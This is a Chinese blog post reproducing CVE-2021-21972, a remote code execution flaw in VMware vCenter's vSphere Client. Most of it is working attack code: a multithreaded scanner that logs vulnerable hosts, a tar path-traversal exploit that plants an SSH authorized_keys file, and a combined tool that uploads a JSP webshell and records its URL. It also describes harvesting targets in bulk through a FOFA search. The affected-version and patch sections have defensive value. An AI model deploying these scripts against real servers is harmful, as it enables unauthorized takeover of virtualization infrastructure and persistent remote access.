CVE-2021-21972 vSphere Client RCE复现


简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

vSphere Client(HTML5) 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,控制服务器。

影响范围

  • vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
  • vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
  • vmware:vcenter_server 6.5 U3n 之前的 6.5 版本

漏洞分析

我太菜了,还是搬运一下大佬的分析吧:

http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi

…此处省略一万字…

直接将tar解压的文件名与/tmp/unicorn_ova_dir拼接并写入文件,这里可以使用../绕过目录限制。

若目标为Linux环境,可以创建一个文件名为../../home/vsphere-ui/.ssh/authorized_keys的tar文件,上传后即可使用SSH连接服务器。

POC

https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py

该poc主要就是通过以下路径来进行判断, 如果返回405则表示该漏洞存在:

/ui/vropspluginui/rest/services/uploadova

POC代码如下:

#!/usr/bin/python3
# -*- coding=utf-8 -*-
#-*- coding:utf-8 -*-
banner = """
        888888ba             dP                     
        88    `8b            88                     
       a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP 
        88   `8b. 88'  `88   88   Y8ooooo. 88    88 
        88    .88 88.  .88   88         88 88.  .88 
        88888888P `88888P8   dP   `88888P' `88888P' 
   ooooooooooooooooooooooooooooooooooooooooooooooooooooo 
                @time:2021/02/24 CVE-2021-21972.py
                C0de by NebulabdSec - @batsu                  
 """
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3
import socket
import socks

socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 1080)
socket.socket = socks.socksocket

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"


def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua


def CVE_2021_21972(url):
    # proxies = {"scoks5": "http://127.0.0.1:1080"}
    headers = {
        'User-Agent': get_ua(),
        "Content-Type": "application/x-www-form-urlencoded"
    }
    targetUrl = url + TARGET_URI
    try:
        res = requests.get(targetUrl,
                            headers=headers,
                            timeout=15,
                            verify=False)
                            # proxies=proxies)
                            # proxies={'socks5': 'http://127.0.0.1:1081'})
        # print(len(res.text))
        if res.status_code == 405:
            print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
            # print("[+] Command success result: " + res.text + "\n")
            with open("存在vmware漏洞地址.txt", 'a+') as fw:
                fw.write(url + '\n')
        else:
            print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
    # except Exception as e:
    #     print(e)
    except:
        print("[-] " + url + " Request ERROR.\n")


def multithreading(filename, pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            # func_params = [i] + [cmd]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(CVE_2021_21972, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    parser.add_argument("-f",
                        "--file",
                        help="Url File; Example:url.txt")
    # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
    args = parser.parse_args()
    url = args.url
    # cmd = args.cmd
    file_path = args.file
    if url != None and file_path ==None:
        CVE_2021_21972(url)
    elif url == None and file_path != None:
        multithreading(file_path, 10)  # 默认15线程


if __name__ == "__main__":
    main()

EXP

https://blog.csdn.net/weixin_43650289/article/details/114055417

import tarfile
import os
from io import BytesIO
import requests

proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}
def return_zip():
    with tarfile.open("test.tar", 'w') as tar:
        payload = BytesIO()
        id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh1YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='
        # 针对Linux有效的方式
        tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
        # Windows 需要改一下
        #tarinfo = tarfile.TarInfo(name="..\\..\\ProgramData\\VMware\\vCenterServer\\data\\perfcharts\\tc-instance\\webapps\\statsreport\\test.jsp")

        f1 = BytesIO(id_rsa_pub.encode())
        tarinfo.size = len(f1.read())
        f1.seek(0)
        tar.addfile(tarinfo, fileobj=f1)
        tar.close()
        payload.seek(0)
def getshell(url):
    files = {'uploadFile':open('test.tar','rb')}
    try:
        r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
        print(r)
        # windows下:
        #         print('shell地址:/statsreport/test.jsp')
    except:
        print('flase')

if __name__ == "__main__":
    try:
        return_zip()
        url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
        getshell(url)
    except IOError as e:
        raise e

整合的POC&EXP

import requests
import tarfile
import sys
import getopt
requests.packages.urllib3.disable_warnings()


proxy = {}

def poc(target):
    url = (target + '/ui/vropspluginui/rest/services/uploadova').replace('//ui', '/ui')
    web = requests.get(url,verify=False,proxies=proxy)
    if web.status_code == 405:
        return True
    else:
        return False

def payload_linux(filename, payload_type):
    payload_path = '../../home/vsphere-ui/.ssh/authorized_keys' if payload_type=='ssh' else '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/test.jsp'
    payload_tar = tarfile.open('payload_linux.tar','w')
    for i in range(106):
        payload_tar.add(filename, arcname=payload_path % i)
    payload_tar.close()

def payload_win(filename):
    payload_path = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp'
    payload_tar = tarfile.open('payload_win.tar','w')
    payload_tar.add(filename, arcname=payload_path)
    payload_tar.close()


def send_payload(target, payload_type):
    url = (target + '/ui/vropspluginui/rest/services/uploadova').replace('//ui', '/ui')
    files = {'uploadFile': ('1.tar', open('payload_linux.tar', 'rb'), 'application/octet-stream')}
    web = requests.post(url, files=files,verify=False,proxies=proxy)
    if web.status_code == 200:
        if web.text == 'SUCCESS':
            if payload_type == 'ssh':
                print('\t文件写入成功')
        if payload_type != 'ssh':
            webshell = (target + '/ui/resources/test.jsp').replace('//ui', '/ui')
            web = requests.get(webshell,verify=False,proxies=proxy)
            if web.status_code != 404:
                print('\twebshell地址:%s' % webshell)
                return True
    files = {'uploadFile': ('1.tar', open('payload_win.tar', 'rb'), 'application/octet-stream')}
    web = requests.post(url, files=files,verify=False,proxies=proxy)
    if web.status_code == 200:
        if web.text == 'SUCCESS':
            print('\t文件写入成功')
            webshell = (target + '/statsreport/test.jsp').replace('//statsreport', '/statsreport')
            web = requests.get(webshell,verify=False,proxies=proxy)
            if web.status_code != 404:
                print('\twebshell地址:%s' % webshell)
                with open("webshell地址.txt", "a+") as fff:
                    fff.write('webshell地址:%s \n' % webshell)
                return True
    return False

def help():
    print(
    """
    Usage:CVE-2021-21972.py [option]
    -u or --url:目标url
    -t or --type:攻击方式(ssh/webshell)
    -f or --file:要上传的文件(webshell或authorized_keys)    例如:CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp
    -p or --proxy:设置代理    例如:CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p http://127.0.0.1:8080
    -l or --list:批量检测    例如:CVE-2021-21972.py -l list.txt -t webshell -f shell.jsp
    """
    )

if __name__ == "__main__":
    if len(sys.argv) == 1:
        help()
        sys.exit()

    try:
        opts, args = getopt.getopt(sys.argv[1:], "l:u:t:f:p:")
    except getopt.GetoptError:
        print("argv error,please input")
    targets = []
    payload_type = ''
    filename = ''
    for opt, arg in opts:
        if opt in ('-p', '--proxy'):
            proxy = {arg[:arg.find(':')]: arg}
    for opt, arg in opts:
        if opt in ('-l', '--list'):
            with open(arg, 'r') as t:
                for u in t.read().split('\n'):
                    targets.append(u)
        elif opt in ('-u', '--url'):
            targets.append(arg)
    for opt, arg in opts:
        if opt in ('-t', '--type'):
            payload_type = arg
    for opt, arg in opts:
        if opt in ('-f', '--file'):
            filename = arg
    payload_linux(filename, payload_type)
    if payload_type != 'ssh':
        payload_win(filename)
    for target in targets:
        print('-' * 50)
        print('正在检测%s...' % target)
        if poc(target):
            if send_payload(target, payload_type):
                continue
        print('Failed')

漏洞复现

1.fofa搜索title="+ ID_VC_Welcome +"

可以用批量脚本通过fofa把所有搜索到的资产下载到本地

2.然后使用POC验证漏洞:

3.1 添加一个vsphere-ui用户:

adduser vsphere-ui

3.2 生成 ssh密钥

ssh-keygen -t rsa
# 然后复制公钥到上面的EXP中去

3.对于存在漏洞的资产,使用EXP上传tar文件

成功上传authorized_keys

4.ssh连接

也可以通过上传jsp小马等方式进行利用

漏洞修复

  • vCenter Server7.0版本升级到7.0.U1c
  • vCenter Server6.7版本升级到6.7.U3l
  • vCenter Server6.5版本升级到6.5 U3n

参考

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

https://www.cnblogs.com/cHr1s/p/14445759.html

http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/


文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
Apache Solr SSRF与任意文件读取漏洞 Apache Solr SSRF与任意文件读取漏洞
前言Apache Solr是一个开源的搜索服务,使用Java语言开发,基于Lucene的全文搜索服务器。 Apache Solr全版本存在一个SSRF与任意文件读取漏洞,因Apache Solr整体默认安装为未授权,且大部分资产都为未授权,
2021-03-22
下一篇 
Java学习之反射初探 Java学习之反射初探
Java反射机制概述 Reflection(反射)是被视为动态语言的关键,反射机制允许程序在执行期借助于Reflection API取得任何类的内部信息,并能直接操作任意对象的内部属性及方法。 加载完类之后,在堆内存的方法区中就产生了一个C
2021-02-06
  目录